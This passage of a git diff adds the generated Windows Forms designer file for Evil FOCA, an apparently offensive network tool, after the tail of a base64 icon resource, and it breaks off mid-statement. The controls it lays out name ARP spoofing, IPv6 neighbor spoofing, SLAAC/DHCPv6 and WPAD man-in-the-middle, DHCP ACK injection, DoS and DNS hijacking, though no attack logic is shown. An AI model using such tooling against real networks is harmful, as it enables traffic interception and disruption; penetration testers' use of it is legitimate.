1/wuLtv/Li7c/y4u3P8uLt3/Li7d/y4u3v8uLt//LS3a/15e1P/19fv///////Hx+v9WVtP/VlbU//Hx + +v//////9fX8/15e2f8tLeH/Li7n/y4u6P8uLun/Li7p/y4u6v8uLur/Li7r/ysr2vEAAAIlAAAAAAAA + AAAAAAsNIiK22D094v89PeL/PT3j/z094/89PeT/PT3k/zs73/9oaNj/9vb8///////y8vv/YWHa/zw8 + 5P88POT/YWHb//Ly+///////9vb8/2ho3P87O+b/PT3s/z097f89Pe3/PT3u/z097v89Pe//JyeqygAA + AxQAAAAAAAAAAAAADAQSEniXTU3o/01N6P9NTej/TU3p/01N6f9MTOj/bm7e//b2/P//////8/P7/2xs + 3f9LS+j/TEzt/0xM7f9LS+n/bGze//Pz+///////9vb8/25u4v9MTO7/TU3x/01N8f9NTfL/TU3y/1VV + 8/8ODmWMAAAFBwAAAAAAAAAAAAAAAAEBLTxOTur+XV3t/11d7v9dXe7/XV3u/1tb6/+srOv///////T0 + +/94eN//W1vs/1xc8f9dXfH/XV3x/1xc8f9bW+3/eHjh//T0+///////rKzt/1tb8P9dXfT/XV30/11d + 9f9dXfX/UlLt+QEBFjgAAAYBAAAAAAAAAAAAAAAAAgIXCCsrprttbfH/bW3y/21t8v9tbfL/bGzx/21t + 5f+wsOz/gYHk/2pq7/9sbPT/bW30/21t9P9tbfT/bW31/2xs9f9qavH/gYHm/7Cw7f9tbej/bGz1/21t + 9/9tbff/bW33/3Jy9/8qKpGtAAAJDgAAAAAAAAAAAAAAAAAAAAAAAAAABAQvOmVl7fl9ffX/fX32/319 + 9v99ffb/fHz2/3t78/98fPX/fX33/3199/99fff/fX34/319+P99ffj/fX34/319+P98fPb/e3v1/3x8 + +P99ffn/fX35/319+f99ffn/a2vp8gEBGjYBAQsBAAAAAAAAAAAAAAAAAAAAAAAAAAAEBB8EGRlxgoWF + 9/+MjPj/jIz4/4yM+f+MjPn/jIz5/4yM+f+MjPn/jIz5/4yM+f+MjPr/jIz6/4yM+v+MjPr/jIz6/4yM + +v+MjPr/jIz6/4yM+/+MjPv/jIz7/4yM+/4VFVd1AwMSBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 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 + 6P7/////tLTo/gcHxf8AAM7/AADQ/gAA0f8AANP/AADU/gAA1v8HB2mdAAAABQAAAQQQEIO5BgbD/gAA + wv8AAMT/AADF/gAAxv8AAMj/AADJ/gcHwv+0tOf///////7+/v60tOj/BwfJ/gEB0/8FBdX/BgbX/gcH + 2P8GBtr/BQXb/gIC3P8KCoGxAAAABwAAAwMSEom5FhbN/hQUzv4LC83+AgLM/gAAzf4AAM7+AADP/goK + yP69ver+/v7+/v7+/v6+vuv+HBzR/hYW3P4WFt3+Fhbe/hYW4P4WFuH+Fhbi/hYW4/4TE4WxAAAABwAA + BQETE3yiJyfX/icn2P8nJ9n/Jyfa/iEh2v8bG9n/Hh7Q/r6+7f//////v7/s/7+/7P7/////xcXv/i4u + 2f8nJ+T/Jyfl/icn5v8nJ+f/Jyfo/icn6f8WFnWcAAABBAAAAAALC1pzOzvh/jo64f46OuL+Ojrj/jo6 + 4/4/P9r+yMjv/v7+/v7ExO/+Pj7d/j4+3v7ExPD+/v7+/snJ8f4/P+D+Ojrr/jo67P46Ou3+Ojrt/kBA + 7/4JCUpuAAACAQAAAAABASMrRUXl/E9P6f9PT+r/T0/q/k1N5f/IyPD//v7+/snJ8P9RUeP/T0/u/09P + 7v5RUeT/ycnx/v/////IyPL/TU3r/k9P8f9PT/L/T0/y/khI6vgBARIqAAAAAAAAAAABAQ8FLy+mvGVl + 7/9lZfD/ZGTw/mJi6//Dw/D/ysrx/mVl5/9kZPL/ZWXz/2Rk8/5kZPP/ZWXp/srK8v/Dw/H/YmLv/mVl + 9f9lZfb/ZWX2/jIymbIAAAYIAAAAAAAAAAAAAAAACAg7PW1t8Pt6evX+enr1/np69f53d/H+d3fx/np6 + 9v56evb+enr3/np69/56evf+enr3/nd38v53d/P+enr4/np6+f56evn+cnLw9wQEJjoAAAAAAAAAAAAA + AAAAAAAAAgIVAiYmfomLi/j/j4/5/o+P+f+Pj/n/j4/5/o+P+v+Pj/r/j4/6/4+P+v6Pj/r/j4/6/o+P + +v+Pj/v/j4/7/o+P+/+Ojvv+JSVpfwICDQQAAAAAAAAAAAAAAAAAAAAAAAAAAAUFIAc3N5umn5/7/qKi + /P+iovz/oqL8/qKi/P+iovz/oqL8/6Ki/P6iovz/oqL8/qKi/P+iovz/oqL8/p6e/P4yMoibAwMRCQAA + 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 + + + \ No newline at end of file diff --git a/EvilFoca/FormMain.Designer.cs b/EvilFoca/FormMain.Designer.cs new file mode 100644 index 0000000..fac6ca7 --- /dev/null +++ b/EvilFoca/FormMain.Designer.cs @@ -0,0 +1,1463 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class FormMain + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.Panel panelIzquierda; + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormMain)); + this.lbFilter = new System.Windows.Forms.Label(); + this.tbSearchFilter = new System.Windows.Forms.TextBox(); + this.cMenuNeighbors = new System.Windows.Forms.ContextMenuStrip(this.components); + this.addNeighborToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imageList1 = new System.Windows.Forms.ImageList(this.components); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.panelButtons = new System.Windows.Forms.Panel(); + this.btAddNeighbor = new System.Windows.Forms.Button(); + this.btSearchRouters = new System.Windows.Forms.Button(); + this.btNetworkDiscovery = new System.Windows.Forms.Button(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.splitContainerHelp = new System.Windows.Forms.SplitContainer(); + this.panelMainOptions = new System.Windows.Forms.TabControl(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.tabevilfoca = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.btStartNeighborSpoof = new System.Windows.Forms.Button(); + this.tabPage8 = new System.Windows.Forms.TabPage(); + this.label6 = new System.Windows.Forms.Label(); + this.tbSlaacMitmPrefix = new System.Windows.Forms.TextBox(); + this.btMitmSLAAC = new System.Windows.Forms.Button(); + this.tabPage9 = new System.Windows.Forms.TabPage(); + this.tbIPRange_IPv6DHCP = new System.Windows.Forms.TextBox(); + this.label9 = new System.Windows.Forms.Label(); + this.tbDNS_IPv6DHCP = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.btStart_IPv6DHCP = new System.Windows.Forms.Button(); + this.tabPage13 = new System.Windows.Forms.TabPage(); + this.btnWpadv6Attack = new System.Windows.Forms.Button(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.tabMitmIpv4 = new System.Windows.Forms.TabControl(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.btStartARPSpoofing = new System.Windows.Forms.Button(); + this.tabPage11 = new System.Windows.Forms.TabPage(); + this.buttonEnableIPRouting = new System.Windows.Forms.Button(); + this.labelIPRouting = new System.Windows.Forms.Label(); + this.textBoxDHCPAckMAC = new System.Windows.Forms.TextBox(); + this.textBoxDNS = new System.Windows.Forms.TextBox(); + this.textBoxGateway = new System.Windows.Forms.TextBox(); + this.labelFakeGateway = new System.Windows.Forms.Label(); + this.labelMAC = new System.Windows.Forms.Label(); + this.radioButtonComputerWithMAC = new System.Windows.Forms.RadioButton(); + this.radioButtonAllcomputers = new System.Windows.Forms.RadioButton(); + this.checkBoxUseAsGateway = new System.Windows.Forms.CheckBox(); + this.label4 = new System.Windows.Forms.Label(); + this.buttonDHCPACKInjection = new System.Windows.Forms.Button(); + this.tabPage14 = new System.Windows.Forms.TabPage(); + this.panel2 = new System.Windows.Forms.Panel(); + this.btnWpadAttack = new System.Windows.Forms.Button(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.tabDoSIpv6 = new System.Windows.Forms.TabControl(); + this.tabPage10 = new System.Windows.Forms.TabPage(); + this.buttonStartSLAACDoS = new System.Windows.Forms.Button(); + this.tabPage6 = new System.Windows.Forms.TabPage(); + this.tabDoSIpv4 = new System.Windows.Forms.TabControl(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.pbInvMacSpoofedIp = new System.Windows.Forms.PictureBox(); + this.pbInvMacSpoofTarget = new System.Windows.Forms.PictureBox(); + this.tbIpSpoofedIpv4 = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.tbTargetSpoofedIpv4 = new System.Windows.Forms.TextBox(); + this.btStartInvalidMacSpoof = new System.Windows.Forms.Button(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.panel1 = new System.Windows.Forms.Panel(); + this.lbAdvertisement = new System.Windows.Forms.Label(); + this.btAddDNSHijack = new System.Windows.Forms.Button(); + this.tbDomainDNSHijack = new System.Windows.Forms.TextBox(); + this.cbWildcardDnsHijack = new System.Windows.Forms.CheckBox(); + this.label2 = new System.Windows.Forms.Label(); + this.tbIpDNSHijack = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.imgListTrick = new System.Windows.Forms.ImageList(this.components); + this.menuStrip1 = new System.Windows.Forms.MenuStrip(); + this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.configurationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.interfaceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.settingsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolTip = new System.Windows.Forms.ToolTip(this.components); + this.treeView = new evilfoca.BufferedTreeView(); + this.panelNeighborAdvSpoof = new evilfoca.PanelTargets(); + this.panelTargetSLAACMitm = new evilfoca.PanelTarget(); + this.wpadv6TargetPanel = new 